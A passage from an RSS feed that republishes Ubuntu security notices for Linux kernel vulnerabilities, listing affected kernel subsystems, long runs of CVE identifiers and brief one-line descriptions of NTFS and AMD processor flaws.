  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Software nodes and device properties;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185, CVE-2026-64218,
CVE-2026-64219, CVE-2026-64220, CVE-2026-64221)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8623-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - Arm Firmware Framework for ARMv8-A(FFA);
(CVE-2026-53354, CVE-2026-64520)]]></description>
<link>https://tsecurity.de/de/3698761/unix-server/usn-8623-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698761/unix-server/usn-8623-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:04 +0200</pubDate>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - Arm Firmware Framework for ARMv8-A(FFA);
(CVE-2026-53354, CVE-2026-64520)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8622-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - Arm Firmware Framework for ARMv8-A(FFA);
(CVE-2026-53354, CVE-2026-64520)]]></description>
<link>https://tsecurity.de/de/3698762/unix-server/usn-8622-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698762/unix-server/usn-8622-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:04 +0200</pubDate>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - Arm Firmware Framework for ARMv8-A(FFA);
(CVE-2026-53354, CVE-2026-64520)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8620-2: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3698763/unix-server/usn-8620-2-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698763/unix-server/usn-8620-2-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:04 +0200</pubDate>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Software nodes and device properties;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
